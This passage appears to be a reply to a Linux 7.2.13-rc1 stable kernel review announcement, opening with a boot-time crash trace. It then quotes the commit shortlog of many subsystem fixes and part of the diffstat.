L458[ 1.238864] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
L459[ 1.238864] CR2: 000000000000002c CR3: 000000000d630000 CR4: 00000000001006f0
L460[ 1.238864] Call Trace:
L461[ 1.238864] <TASK>
L462[ 1.238864] start_kernel+0x7a2/0x7b0
L463[ 1.238864] x86_64_start_reservations+0x24/0x30
L464[ 1.238864] x86_64_start_kernel+0xcd/0xd0
L465[ 1.238864] common_startup_64+0x13e/0x158
L466[ 1.238864] </TASK>
L467[ 1.238864] Modules linked in:
L468[ 1.238864] CR2: 000000000000002c
L469[ 1.238864] ---[ end trace 0000000000000000 ]---
L470[ 1.238864] RIP: 0010:rest_init+0x33/0xd0
> Responses should be made by Sun, 25 Oct 2026 16:36:45 +0000.
> Anything received after that time might be too late.
>
> The whole patch series can be found in one patch at:
> https://www.kernel.org/pub/linux/kernel/v7.x/stable-review/patch-7.2.13-rc1.gz
> or in the git tree and branch at:
> git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable-rc.git linux-7.2.y
> and the diffstat can be found below.
>
> thanks,
>
> greg k-h
>
> -------------
> Pseudo-Shortlog of commits:
>
> Greg Kroah-Hartman <gregkh@linuxfoundation.org>
> Linux 7.2.13-rc1
>
> Paulo Alcantara <pc@manguebit.org>
> smb: client: drain outstanding I/O before truncating on O_TRUNC open
>
> Hongling Zeng <zenghongling@kylinos.cn>
> ntfs: fix memmove overlap in ntfs_new_attr_flags
>
> Namjae Jeon <linkinjeon@kernel.org>
> ntfs: move attribute payload before shrinking its record
>
> Hyunchul Lee <hyc.lee@gmail.com>
> ntfs: fix resident conversion in ntfs_new_attr_flags
>
> Hongling Zeng <zenghongling@kylinos.cn>
> ntfs: take invalidate_lock in ntfs_setattr_size()
>
> Namjae Jeon <linkinjeon@kernel.org>
> ntfs: use pagecache_isize_extended() on size extension
>
> Yao Kai <yaokai34@huawei.com>
> workqueue: Fix unbound pool lifetime for pending pwqs
>
> Tejun Heo <tj@kernel.org>
> sched_ext: Fix the bypass dispatch claim for schedulers bypassed by an ancestor
>
> Donggeun Yoo <donggeunyoo.kernel@gmail.com>
> tracing: Fix NULL dereference when copying keys for a field variable
>
> Pengpeng Hou <pengpeng@iscas.ac.cn>
> tracing: Bound histogram expression strings with seq_buf
>
> Pengpeng Hou <pengpeng@iscas.ac.cn>
> tracing: Use __free() for expr_str() buffer
>
> Tejun Heo <tj@kernel.org>
> sched_ext: Fix stall when a task enqueued with SCX_ENQ_LAST lands back on its CPU's local DSQ
>
> Jesse Zhang <Jesse.Zhang@amd.com>
> drm/amdgpu: free the userptr ranges when a CS fails after parser_bos
>
> Tvrtko Ursulin <tvrtko.ursulin@igalia.com>
> drm/amdgpu: Remove the bo list mutex
>
> Haris Okanovic <harisokn@amazon.com>
> genirq/proc: Fix missing CPU header in /proc/interrupts
>
> Hongling Zeng <zenghongling@kylinos.cn>
> ntfs: fix undefined behavior in mft/index record size calculation
>
> Hongling Zeng <zenghongling@kylinos.cn>
> ntfs: fix incorrect MFT record pointer passed to ntfs_attr_record_resize
>
> Jacopo Labardi <jacopolabardi@gmail.com>
> ntfs: fix FITRIM range alignment
>
> Hongling Zeng <zenghongling@kylinos.cn>
> ntfs: handle signal interruption in fallocate
>
> Yunpeng Tian <shionthanatos@gmail.com>
> smb: client: reject SetEA requests that do not fit the request buffer
>
> Paulo Alcantara <pc@manguebit.org>
> smb: client: fix multiuser mount with krb5
>
> Frank Sorenson <sorenson@redhat.com>
> smb: client: fix heap overflow in cifs_do_set_acl()
>
> Paulo Alcantara <pc@manguebit.org>
> smb: client: fix data corruption with concurrent writes and O_TRUNC
>
> Aohan Mei <henrymei@tencent.com>
> net/sched: cls_flower: validate mask pointer after nla_next()
>
> Aleksandr Khromov <haa@amicon.ru>
> ksmbd: zero the FS_OBJECT_ID_INFORMATION buffer before filling it in
>
> Aleksandr Khromov <haa@amicon.ru>
> ksmbd: initialize FileSystemControlFlags in FS_CONTROL_INFORMATION
>
> Aleksandr Khromov <haa@amicon.ru>
> ksmbd: fill in FileSysIdentifier in FS_POSIX_INFORMATION
>
> Norbert Szetei <norbert@doyensec.com>
> net: psp: do not inherit the Rx association on clone
>
> Koichiro Den <den@valinux.co.jp>
> net: ntb_netdev: Fix statistics races
>
> Jun Yang <littleddfu@gmail.com>
> net: bridge: mcast: don't truncate the port group walk on teardown
>
> Dibin Moolakadan Subrahmanian <dibin.moolakadan.subrahmanian@intel.com>
> drm/i915/dmc: Harden DMC firmware payload parsing
>
> Benjamin Cheng <benjamin.cheng@amd.com>
> drm/amdgpu/userq: actually validate userq BOs
>
> Prike Liang <Prike.Liang@amd.com>
> drm/amdgpu: correct reservation fence slots for userq per-vm BOs eviction
>
> Paolo Bonzini <pbonzini@redhat.com>
> KVM: x86/mmu: Cope with the SS bit being set in #NPF exit codes
>
> David Rosca <david.rosca@amd.com>
> drm/amdgpu: Fix VCE 3 ring align_mask
>
> Zihan Xi <zihanx@nebusec.ai>
> ipv4: avoid divide by zero in fib_rebalance
>
> Daehyeon Ko <4ncienth@gmail.com>
> vsock/vmci: validate packet source for connected sockets
>
> Daehyeon Ko <4ncienth@gmail.com>
> vsock/virtio: validate packet source for connected sockets
>
> Niklas Schnelle <schnelle@linux.ibm.com>
> s390/pci: Fix leak of uninitialized kernel data in SCLP report
>
> Thomas Richter <tmricht@linux.ibm.com>
> s390/pai: Handle multiple PMU stop callback invocations
>
> Aswin Karuvally <aswin@linux.ibm.com>
> s390/ctcm: Prevent XID null dereference
>
> Florian Schauer <florian@schauer.to>
> page_pool: keep frag_offset aligned for odd-sized requests
>
> Charles Vosburgh <theminershive@gmail.com>
> sctp: validate chunk length in the inqueue parser
>
> Paul Moore <paul@paul-moore.com>
> selinux: fix BPF token permission checks
>
> Chengfeng Ye <nicoyip.dev@gmail.com>
> tipc: protect node reset trace dump with node lock
>
> Tejun Heo <tj@kernel.org>
> workqueue: Annotate cb_lock nesting when draining a dead BH pool
>
> Zqiang <qiang.zhang@linux.dev>
> workqueue: Use raise_softirq() to trigger softirq in irq_work handler
>
> Cen Zhang (Microsoft Security FORGE Labs) <cenzhang@linux.microsoft.com>
> io_uring/cancel: don't spin on local work the task can't run
>
> Ilya Maximets <i.maximets@ovn.org>
> netlink: specs: add missing mask attributes for conntrack dump
>
> Ilya Maximets <i.maximets@ovn.org>
> netlink: specs: fix the conntrack filter type
>
> Christoph Hellwig <hch@lst.de>
> xfs: fix zoned write iomap flags assignments
>
> Carlos Maiolino <cem@kernel.org>
> xfs: fix capability check in xfs
>
> Yun Zhou <yun.zhou@windriver.com>
> xfs: don't hold buffer locks across sync transaction commit in xfs_sync_sb_buf
>
> Bryam Vargas <hexlabsecurity@proton.me>
> net/iucv: fix the recvmsg window update
>
> Kaiwen Shi <skwkevin@mail.ustc.edu.cn>
> mac802154: fix data race and NULL deref on local->assoc_dev
>
> Chen Cheng <chencheng@fnnas.com>
> dm-integrity: require stable writes for internal hash modes
>
> Ben Cressey <ben@cressey.dev>
> dm-integrity: fix infinite loop on discard with large tag size
>
> Genjian Zhang <zhanggenjian@kylinos.cn>
> dm-ebs: fix incorrect device offset check in ebs_ctr()
>
> Ben Cressey <ben@cressey.dev>
> dm-crypt: fix a tiny race condition in crypt_dec_pending
>
> Benjamin Marzinski <bmarzins@redhat.com>
> dm cache: fix issue with background work locking
>
> Ming-Hung Tsai <mtsai@redhat.com>
> dm cache: fix demotion stats in passthrough mode
>
> Frank Sorenson <sorenson@redhat.com>
> cifs: don't update i_size in cifs_do_truncate without a cached handle
>
> Frank Sorenson <sorenson@redhat.com>
> cifs: add revalidation on FSCTL failure in smb2_duplicate_extents()
>
> Etienne Perot <eperot@google.com>
> cgroup: fix spurious SIGKILL of CLONE_INTO_CGROUP children
>
> Cen Zhang (Microsoft Security FORGE Labs) <blbllhy@gmail.com>
> tcp: fix use-after-free in do_tcp_getsockopt(TCP_CC_INFO)
>
> Cen Zhang (Microsoft Security FORGE Labs) <blbllhy@gmail.com>
> tcp: fix use-after-free in do_tcp_getsockopt(TCP_CONGESTION)
>
> Heyang Tan <thy15333007817@163.com>
> wifi: p54: validate firmware record lengths
>
> Dmitry Kandybka <d.kandybka@gmail.com>
> tracing: Fix ignored return value of resize_buffer_duplicate_size()
>
> Tengda Wu <wutengda@huaweicloud.com>
> tracing: Fix hist trigger timestamps for buffered events
>
> Hao Ge <hao.ge@linux.dev>
> tracing: Fix crash in print_graph_function_event()
>
> Amit Machhiwal <amachhiw@linux.ibm.com>
> tracing: Do not initialize tracefs work if tracing is disabled
>
> Taeyang Lee <0wn@theori.io>
> tracing: Check operator stack capacity before pushing
>
> David Carlier <devnexen@gmail.com>
> tracing: Take trace_types_lock when dropping the buffer_meta reference
>
> Taeyang Lee <0wn@theori.io>
> tracing: Keep the predicate limit separate from program capacity
>
> Donggeun Yoo <donggeunyoo.kernel@gmail.com>
> tracing: Fix the shift out of bounds in the log2 histogram modifier
>
> Tejun Heo <tj@kernel.org>
> sched_ext: Propagate every bypass depth change to the descendants
>
> Hui Su <sh_def@163.com>
> sched_ext: idle: Respect task affinity in restricted CPU selection
>
> Tejun Heo <tj@kernel.org>
> sched_ext: Fix use-after-free of a destroyed user DSQ by a deferred reenqueue
>
> Thomas Hellström <thomas.hellstrom@linux.intel.com>
> drm/xe: Don't transfer shrinker pages for pinned bos on purgeable state change
>
> Thomas Hellström <thomas.hellstrom@linux.intel.com>
> drm/xe: Bump LRU for external objects on exec and rebind
>
> Dibin Moolakadan Subrahmanian <dibin.moolakadan.subrahmanian@intel.com>
> drm/i915/dmc: Add sanity check for DMC load address
>
> Dnyaneshwar Bhadane <dnyaneshwar.bhadane@intel.com>
> drm/i915/cx0_phy: Fix ARL-S host bridge detection
>
> Christian König <ckoenig.leichtzumerken@gmail.com>
> drm/exec: don't immediately add prelocked obj to array of locked objs
>
> Jesse Zhang <Jesse.Zhang@amd.com>
> drm/amdgpu: report the BO alignment in bytes in GEM_LIST_HANDLES
>
> Jesse Zhang <Jesse.Zhang@amd.com>
> drm/amdgpu: keep the eviction fence until the last handle is closed
>
> Perry Yuan <perry.yuan@amd.com>
> drm/amdgpu: fix sched entity leak in ttm buffer entity init
>
> Perry Yuan <perry.yuan@amd.com>
> drm/amdgpu: fix GEM object leak on ENOMEM in userptr ioctl
>
> Jesse Zhang <Jesse.Zhang@amd.com>
> drm/amdgpu: don't drop the runtime PM reference twice in amdgpu_gpr
>
> Perry Yuan <perry.yuan@amd.com>
> drm/amdgpu: destroy mutex when tearing down ttm buffer entity
>
> Timur Kristóf <timur.kristof@gmail.com>
> drm/amdgpu/uvd3.1: Fix checking whether UVD firmware keyselect was already set
>
> Timur Kristóf <timur.kristof@gmail.com>
> drm/amdgpu/sdma3: Work around POLL_REGMEM / FENCE hang
>
> Kenneth Feng <kenneth.feng@amd.com>
> drm/amd/pm: add zero fan stop temperature support on smu 14.0.2
>
> Srinivasan Shanmugam <srinivasan.shanmugam@amd.com>
> drm/amd/display: Fix NULL sink dereference in USB4 bandwidth functions
>
> Yehyeong Lee <yhlee@isslab.korea.ac.kr>
> scsi: libiscsi: Validate the task named by a management response
>
> Yehyeong Lee <yhlee@isslab.korea.ac.kr>
> scsi: libiscsi: Validate the ITT reflected in a Reject PDU
>
> Yehyeong Lee <yhlee@isslab.korea.ac.kr>
> scsi: libiscsi: Reject a negative task index from parse_pdu_itt
>
> Yehyeong Lee <yhlee@isslab.korea.ac.kr>
> scsi: xen/scsifront: Check for a NULL shadow entry on a backend response
>
> Laurence Oberman <loberman@redhat.com>
> scsi: st: Fix use-after-free race between st_remove() and st_open()
>
> Stanley Jhu <stanleyjhu@google.com>
> scsi: bsg: Pass reply_len to bsg_setup_queue() to fit UFS ARPMB replies
>
> Krystian Kaniewski <krystianmkaniewski@gmail.com>
> ring-buffer: Fix false warning in ring_buffer_map_get_reader()
>
> Donggeun Yoo <donggeunyoo.kernel@gmail.com>
> ring-buffer: Fix the sub-buffer array base in rb_meta_subbuf_idx()
>
> David Carlier <devnexen@gmail.com>
> ring-buffer: Do not show buffer_meta for CPUs without a buffer
>
> Antoine Huret <antoine.huret@bull.com>
> perf: Update cgroup time when rotating multiplexed events
>
> Lorenzo Stoakes (ARM) <ljs@kernel.org>
> perf: Track the perf mlock gift separately
>
> Abdurrahman Hussain <abdurrahman@nexthop.ai>
> i2c: xiic: restore non-managed runtime PM to fix clk WARN flood
>
> Wentao Liang <vulab@iscas.ac.cn>
> i2c: viai2c-wmt: Fix clock leak in wmt_i2c_probe()
>
> Loic Poulain <loic.poulain@oss.qualcomm.com>
> i2c: qcom-cci: Fix HALT_ACK reset request being dropped
>
> Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
> gpio: shared: gracefully handle no-device lookup of shared GPIOs
>
> Bartosz Golaszewski <bartosz.golaszewski@oss.qualcomm.com>
> gpio: shared: fix use-after-free bug when adding shared proxies
>
> Lee Jones <lee@kernel.org>
> tracing/histograms: Reject non-stacktrace fields for synthetic stacktrace fields
>
> Sasha Levin <sashal@kernel.org>
> tools: gpio: fix building from the top level with O=
>
> Ali Ahmet Memis <ali@iusegentoo.com>
> tools/power turbostat: Read complete CPU lists
>
> Richard Leitner <richard.leitner@linux.dev>
> spi: imx: fix slab corruption from undersized DMA bounce buffers
>
> Daehyeon Ko <4ncienth@gmail.com>
> sctp: revalidate output stream after association connect wait
>
> Conor Dooley <conor.dooley@microchip.com>
> riscv: dts: microchip: beaglev-fire: remove double definition of gpio interrupts
>
> François Roux <franzelfranzel@gmail.com>
> power: sequencing: qcom-wcn: power off WLAN at probe
>
> Mario Limonciello <mario.limonciello@amd.com>
> pinctrl: amd: Clear S4 wake bits when firmware has _AEI
>
> Aohan Mei <henrymei@tencent.com>
> net: rds: fix uninitialized trans dereference in CM event handler
>
> Jérémy Jean <Jeremy.Jean@oss.cyber.gouv.fr>
> net/sched: fix use-after-free in __tcf_action_put()
>
> Hardik Garg <hargar@linux.microsoft.com>
> mshv_vtl: Check per-CPU register page before mmap
>
> Eric Biggers <ebiggers@kernel.org>
> lib/crypto: poly1305: Use memzero_explicit() in poly1305_final()
>
> Jérémy Jean <Jeremy.Jean@oss.cyber.gouv.fr>
> lib/crypto: arm64: Fix lost Poly1305 carry when resuming NEON state
>
> Jann Horn <jannh@google.com>
> futex: Fix mm reuse handling for FUT_OFF_MMSHARED
>
> Christian Brauner <brauner@kernel.org>
> namei: test for a negative dentry the way traverse_mounts() does
>
> Christian Brauner <brauner@kernel.org>
> namespace: a mount that copy_tree() leaves out can't take over a lock
>
> Christian Brauner <brauner@kernel.org>
> ntfs3: free the sbi after a grace period
>
> Christian Brauner <brauner@kernel.org>
> ipc: drop the mqueue mount with kern_unmount() on setup failure
>
> Christian Brauner <brauner@kernel.org>
> eventfs: Free the eventfs_inode after an rcu grace period too
>
> Christian Brauner <brauner@kernel.org>
> ext4: free the sbi after a grace period
>
> Aviv Vaknin <vaknins33@gmail.com>
> pid_namespace: make zap_pid_ns_processes() freezable
>
> Kyle Zeng <kylebot@openai.com>
> fsnotify: prevent mark additions during connector teardown
>
> Amirmohammad Eftekhar <amirmohammadeftekhar@gmail.com>
> KVM: nVMX: Reset MMU back to the root MMU if loading L2 state fails for !VM-Entry
>
> Jann Horn <jannh@google.com>
> KVM: SEV: Fix page dirtying in sev_gmem_post_populate()
>
> EJ Campbell <ejc3@meta.com>
> x86/kvm: Don't consume async #PF flags on a kernel #PF in NMI context
>
> Cen Zhang (Microsoft) <cenzhang@linux.microsoft.com>
> watch_queue: Fix note pool publication race in watch_queue_set_size()
>
> Christian Brauner <brauner@kernel.org>
> unicode: free the map after a grace period
>
> Sasha Levin <sashal@kernel.org>
> bootconfig: give the footer size static_assert a message
>
> Sung Byeongchan <tjdqudcks0424@naver.com>
> autofs: ignore notification errors from a replaced pipe
>
> Peter Ujfalusi <peter.ujfalusi@linux.intel.com>
> ASoC: SOF: sof-client: Use event-handler mutex consistently
>
> Peter Ujfalusi <peter.ujfalusi@linux.intel.com>
> ASoC: SOF: ipc4-topology: Fix shift-out-of-bounds for aggregated ALH capture
>
> Christian Brauner <brauner@kernel.org>
> afs: free the super info after a grace period
>
> Igor Paunovic <royalnet026@gmail.com>
> accel/rocket: search every core slot when looking up a scheduler
>
> Igor Paunovic <royalnet026@gmail.com>
> accel/rocket: search every core slot when a core is removed
>
> Christian Brauner <brauner@kernel.org>
> 9p: free the session after a grace period
>
> Takashi Sakamoto <o-takashi@sakamocchi.jp>
> firewire: core: fix race condition in split transaction handling
>
> Lukas Zobernig <lukas.zobernig@gmail.com>
> x86/insn-eval: Fix shadowed segment index in get_seg_reg_override_idx()
>
> Alexander Gruhlke <gruhlke@mailbox.org>
> PCI: Don't treat ~0 as ready in pci_dev_wait() with RRS SV
>
> Alexander Gruhlke <gruhlke@mailbox.org>
> PCI: Ignore Immediate Readiness on Samsung 990 PRO and 990 EVO Plus NVMe
>
> John Ogness <john.ogness@linutronix.de>
> printk: Postpone kthread startup
>
> Haris Okanovic <harisokn@amazon.com>
> perf: Fix perf_pmu_migrate_context() leaving events behind
>
> Guixiong Wei <weiguixiong@bytedance.com>
> perf/x86/intel/uncore: Fix DMR CXL CM invert filter
>
> Igor Velkov <iav@iav.lv>
> net: stmmac: dwmac1000: clear the RGMII status interrupt
>
> Vincent Donnefort <vdonnefort@google.com>
> ring-buffer: Use subbuf_order in available memory estimation
>
> Peng Fan <peng.fan@nxp.com>
> gpio: mxc: fix race between gpiochip registration and IRQ domain setup
>
> Peng Fan <peng.fan@nxp.com>
> gpio: mxc: fix wakeup_pads bit operations
>
> Peng Fan <peng.fan@nxp.com>
> gpio: mxc: fix both_edges bit operations
>
> Peng Fan <peng.fan@nxp.com>
> gpio: mxc: fix race between chained IRQ handler install and probe completion
>
> Kent Gibson <warthog618@gmail.com>
> gpiolib: fix memory leak in gpiod_set_array_value_complex() on error paths
>
> Joas Antonio dos Santos <joasantonio108@gmail.com>
> calipso: keep BIG TCP payload_len in calipso_skbuff_setattr()
>
> Nicolai Buchwitz <nb@tipi-net.de>
> net: bcmgenet: unshare the skb before writing the control block
>
> David Yang <mmyangfl@gmail.com>
> net: ti: icssm-prueth: Move setting of netops to fix crash
>
> David Yang <mmyangfl@gmail.com>
> net: ethernet: aeroflex: move setting of netops to fix crash
>
> David Yang <mmyangfl@gmail.com>
> net: ethoc: move setting of netops to fix crash
>
> David Yang <mmyangfl@gmail.com>
> net: au1000: move setting of netops to fix crash
>
> David Yang <mmyangfl@gmail.com>
> net: mv643xx: move setting of netops to fix crash
>
> David Yang <mmyangfl@gmail.com>
> net: ethernet: actions: Move setting of netops to fix crash
>
> David Yang <mmyangfl@gmail.com>
> net: hisilicon: hip04_eth: Move setting of netops to fix crash
>
> David Yang <mmyangfl@gmail.com>
> net: hisilicon: hisi_femac: Move setting of netops to fix crash
>
> Kyle Zeng <kylebot@openai.com>
> netlink: avoid hashing the network namespace pointer
>
> Xingui Yang <yangxingui@huawei.com>
> scsi: libsas: Fix SMP IO deadlock during HA resume
>
> Martin Kaiser <martin@kaiser.cx>
> tracing: probes: error if BTF is required but unavailable
>
> Vincent Donnefort <vdonnefort@google.com>
> ring-buffer: Skip si_mem_available() for persistent and remote buffers
>
> Vincent Donnefort <vdonnefort@google.com>
> tracing: Fix simple_ring_buffer undef check on sparc64
>
> Vincent Donnefort <vdonnefort@google.com>
> tracing: Fix simple_ring_buffer undef check on parisc
>
> Vincent Donnefort <vdonnefort@google.com>
> tracing: Fix empty symbol names in simple_ring_buffer undef check
>
> Christian Brauner <brauner@kernel.org>
> fs: let idle threads share init_fs
>
> Christian Brauner <brauner@kernel.org>
> fs: pass flags to copy_fs()
>
> Christian Brauner <brauner@kernel.org>
> fs: add umh argument to struct kernel_clone_args
>
> Christian Brauner <brauner@kernel.org>
> fs: make userspace_init_fs a dynamically-initialized pointer
>
> Christian Brauner <brauner@kernel.org>
> fs: add real_fs to track task's actual fs_struct
>
> Christian Brauner <brauner@kernel.org>
> fs: add scoped_with_init_fs()
>
> Christian Brauner <brauner@kernel.org>
> fs: notice when init abandons fs sharing
>
> Christian Brauner <brauner@kernel.org>
> fs: add switch_fs_struct()
>
> Kyle Zeng <kylebot@openai.com>
> pipe: preserve existing fasync readers on writer setup failure
>
> Nickolai Zeldovich <nickolai@csail.mit.edu>
> exit: fix lost-update race on the child_subreaper bitfields
>
> Sasha Levin <sashal@kernel.org>
> samples: pidfd: fix userprogs typo
>
> Cen Zhang <zzzccc427@gmail.com>
> ocfs2/dlm: Protect the recovery list during debugfs reads
>
> Erik Faye-Lund <erik.faye-lund@arm.com>
> drm/panthor: fix immortalis condition
>
> Jason Gunthorpe <jgg@ziepe.ca>
> iommupt/kunit: Use if_changed_rule for the kunit
>
> Mikhail Gavrilov <mikhail.v.gavrilov@gmail.com>
> entry: Account the deferred hrtimer rearm as hardirq context for lockdep
>
> K Prateek Nayak <kprateek.nayak@amd.com>
> sched/core: Call wakeup_preempt() for queued tasks during class change
>
> Linfeng Sun <linfeng.sun.dev@gmail.com>
> scsi: target: iscsi: Fix race in discovery auth updates
>
> Yu Zhang <yuz08559@gmail.com>
> scsi: target: Disable interrupts while holding delayed_cmd_lock
>
> Laurence Oberman <loberman@redhat.com>
> scsi: st: Save the visited block for the partition the drive is in
>
> Keith Busch <kbusch@kernel.org>
> nios2: fix __wsum type degradation in csum_fold()
>
> Carlos Jones Jr <carlosjr.jones@analog.com>
> spi: tegra114: assert CS GPIO for every transfer in a message
>
> Bommu Krishnaiah <krishnaiah.bommu@intel.com>
> drm/xe/oa: Zero OA buffer at allocation
>
> Niranjana Vishwanathapura <niranjana.vishwanathapura@intel.com>
> drm/xe: skip eviction of a BO with no resource
>
> Mario Limonciello <mario.limonciello@amd.com>
> ASoC: amd: yc: disable MSI on resume
>
> Alexandre Cassen <acassen@corp.free.fr>
> net/mlx5: HWS, fix flow meter offset within its bulk
>
> Alexandre Cassen <acassen@corp.free.fr>
> net/mlx5: HWS, release L2 to L3 tunnel reformats to their own pool
>
> Guangshuo Li <lgs201920130244@gmail.com>
> accel/rocket: clear rdev on device init failure
>
> Kyle Zeng <kylebot@openai.com>
> netlink: reset skb headers before unicast and multicast filtering
>
> Michael Reeves <michael.reeves077@gmail.com>
> regmap: Drop map lock during cache init and exit
>
> HyeongJun An <sammiee5311@gmail.com>
> ASoC: nau8822: Fix the 128x oversampling switch bits
>
> HyeongJun An <sammiee5311@gmail.com>
> ASoC: wm8978: Fix the 128x oversampling switch bits
>
> HyeongJun An <sammiee5311@gmail.com>
> ASoC: max98371: Fix the Speaker DHT Min Volume bits
>
> HyeongJun An <sammiee5311@gmail.com>
> ASoC: pcm3168a: Fix the DAC zero flag polarity bit
>
> HyeongJun An <sammiee5311@gmail.com>
> ASoC: cs42l52: Fix the NG Type Switch bit
>
> HyeongJun An <sammiee5311@gmail.com>
> ASoC: cs42l56: Put the Limiter Cushion control on the limiter register
>
> Avi Weiss <thnkslprpt@gmail.com>
> ASoC: stm32: spdifrx: fix synchronization state check
>
> Sergey Tiraspolsky <stiraspo@gmail.com>
> ASoC: Intel: avs: Reset the stream unless it is already prepared
>
> Liam R. Howlett <liam@infradead.org>
> accel/amdxdna: Fix Kconfig invalid configuration
>
> Allison Henderson <achender@kernel.org>
> net/rds: don't let the rdma_cm destroy an id RDS still owns on route failure
>
> Michal Luczaj <mhal@rbox.co>
> vsock: treat TCP_CLOSING as once-established
>
> Ming Yu <a0282524688@gmail.com>
> gpio: nct6694: Mark the GPIO controller as sleeping
>
> Dave Stevenson <dave.stevenson@raspberrypi.com>
> drm/vc4: hdmi: Move packet RAM enable to PM runtime
>
> Pablo Mazzini <pmazzini@gmail.com>
> pinctrl: sunxi: dt: do not accumulate npins across probe attempts
>
> Adriel Santos <adriel@adriel.eu>
> pinctrl: qcom: ipq5018: replace gcc_plltest with pwm2 on gpio12
>
> Alexey Charkov <alchark@flipper.net>
> power: supply: core: prevent unregistering a power supply while a callback runs
>
> Svyatoslav Ryhel <clamor95@gmail.com>
> power: supply: generic-adc-battery: Fix temperature IIO channel conversion
>
> Len Brown <len.brown@intel.com>
> tools/power turbostat: Fix add_counter issue if > 24 counters.
>
> Len Brown <len.brown@intel.com>
> tools/power turbostat: Fix PMT error path fd handling
>
> Len Brown <len.brown@intel.com>
> tools/power turbostat: Fix CWF PMT off-by-one
>
> Len Brown <len.brown@intel.com>
> tools/power turbostat: Fix fd_perf leak on reset
>
> Len Brown <len.brown@intel.com>
> tools/power turbostat: Warn, but don't Err on out-dated perf systems
>
> Shawn Guo <shengchao.guo@oss.qualcomm.com>
> pinctrl: qcom: spmi-gpio: make direction changes exclusive
>
> Gilberto Conde <gilbertorconde@gmail.com>
> pinctrl: qcom: ipq5018: add missing pwm3 function on gpio13
>
> Pengpeng Hou <pengpeng@iscas.ac.cn>
> ARM: configs: sama5: enable current Microchip KSZ DSA symbols
>
> Konrad Dybcio <konrad.dybcio@oss.qualcomm.com>
> pinctrl: qcom: qcs8300: Fix intr_target_width
>
> Konrad Dybcio <konrad.dybcio@oss.qualcomm.com>
> pinctrl: qcom: hawi: Fix intr_target_width
>
> Zhangfei Gao <zhangfei.gao@oss.qualcomm.com>
> pinctrl: qcom: nord: fix GPIO interrupt target width
>
> Michael Kelley <mhkelley58@gmail.com>
> Drivers: hv: Don't reset VMBus connection state on error/exit paths
>
> Michael Kelley <mhkelley58@gmail.com>
> x86/hyperv: Avoid using per-cpu output page in hv_apicid_to_vp_index()
>
> Waiman Long <longman@redhat.com>
> Drivers: hv: Avoid infinite retry loop in init_vp_index()
>
> Jon Hunter <jonathanh@nvidia.com>
> soc/tegra: pmc: Fix uninitialised clock rate
>
> Xueqin Luo <luoxueqin@kylinos.cn>
> power: supply: ds2780: Fix ds2780_get_capacity() returning raw value
>
> Karl Mehltretter <kmehltretter@gmail.com>
> power: supply: Fix maintenance charge table kernel-doc
>
> David Oberhollenzer <david.oberhollenzer@sigma-star.at>
> ARM: dts: ti/omap: dra7: fix PCIe PHY clock divider definition
>
> Jinhui Guo <guojinhui.liam@bytedance.com>
> soc/tegra: fuse: Add missing newline to APBMISC error message
>
> Abel Vesa <abel.vesa@oss.qualcomm.com>
> i2c: qcom-geni: Restore the source-clock selection policy
>
> Gael Blivet <gael.blivet@gmail.com>
> ksmbd: exempt FSCTL_PIPE_TRANSCEIVE from the generic file-id lookup
>
>
> -------------
>
> Diffstat:
>
> Documentation/netlink/specs/conntrack.yaml | 21 +++-
> Makefile | 4 +-
> arch/arm/boot/dts/ti/omap/dra7xx-clocks.dtsi | 2 +-
> arch/arm/configs/sama5_defconfig | 4 +-
> arch/nios2/include/asm/checksum.h | 2 +-
> .../riscv/boot/dts/microchip/mpfs-beaglev-fire.dts | 18 ---
> arch/s390/kernel/perf_pai.c | 25 +++-
> arch/s390/pci/pci_sysfs.c | 3 +
> arch/x86/events/intel/uncore_snbep.c | 5 +-
> arch/x86/hyperv/hv_init.c | 3 +-
> arch/x86/include/asm/insn.h | 2 +-
> arch/x86/kernel/kvm.c | 32 +++++-
> arch/x86/kvm/mmu.h | 16 ++-
> arch/x86/kvm/mmu/paging_tmpl.h | 3 +-
> arch/x86/kvm/svm/sev.c | 2 +-
> arch/x86/kvm/vmx/nested.c | 4 +-
> block/bsg-lib.c | 13 ++-
> drivers/accel/amdxdna/Kconfig | 1 +
> drivers/accel/rocket/rocket_device.c | 2 +
> drivers/accel/rocket/rocket_device.h | 1 +
> drivers/accel/rocket/rocket_drv.c | 7 +-
> drivers/accel/rocket/rocket_job.c | 2 +-
> drivers/base/regmap/regcache-maple.c | 9 +-
> drivers/base/regmap/regcache.c | 6 -
> drivers/firewire/core-transaction.c | 8 +-
> drivers/gpio/gpio-mxc.c | 36 +++---
> drivers/gpio/gpio-nct6694.c | 2 +-
> drivers/gpio/gpiolib-shared.c | 19 +++-
> drivers/gpio/gpiolib.c | 9 +-
> drivers/gpu/drm/amd/amdgpu/amdgpu_bo_list.c | 3 +-
> drivers/gpu/drm/amd/amdgpu/amdgpu_bo_list.h | 4 -
> drivers/gpu/drm/amd/amdgpu/amdgpu_cs.c | 22 ++--
> drivers/gpu/drm/amd/amdgpu/amdgpu_debugfs.c | 23 +---
> drivers/gpu/drm/amd/amdgpu/amdgpu_gem.c | 17 ++-
> drivers/gpu/drm/amd/amdgpu/amdgpu_ttm.c | 7 +-
> drivers/gpu/drm/amd/amdgpu/amdgpu_userq.c | 13 ++-
> drivers/gpu/drm/amd/amdgpu/sdma_v3_0.c | 25 +++-
> drivers/gpu/drm/amd/amdgpu/uvd_v3_1.c | 2 +-
> drivers/gpu/drm/amd/amdgpu/vce_v3_0.c | 2 +-
> drivers/gpu/drm/amd/display/dc/link/link_dpms.c | 18 ++-
> .../gpu/drm/amd/pm/swsmu/smu14/smu_v14_0_2_ppt.c | 55 ++++++++-
> drivers/gpu/drm/drm_exec.c | 77 +++++++------
> drivers/gpu/drm/i915/display/intel_cx0_phy.c | 12 +-
> drivers/gpu/drm/i915/display/intel_dmc.c | 76 ++++++++++++-
> drivers/gpu/drm/i915/display/intel_dmc_regs.h | 12 ++
> drivers/gpu/drm/panthor/panthor_hw.c | 2 +-
> drivers/gpu/drm/vc4/vc4_hdmi.c | 20 ++--
> drivers/gpu/drm/xe/xe_bo.c | 11 +-
> drivers/gpu/drm/xe/xe_exec.c | 7 +-
> drivers/gpu/drm/xe/xe_oa.c | 7 ++
> drivers/gpu/drm/xe/xe_vm.c | 31 ++++-
> drivers/gpu/drm/xe/xe_vm.h | 2 +
> drivers/hv/channel_mgmt.c | 12 +-
> drivers/hv/connection.c | 1 -
> drivers/hv/mshv_vtl_main.c | 3 +
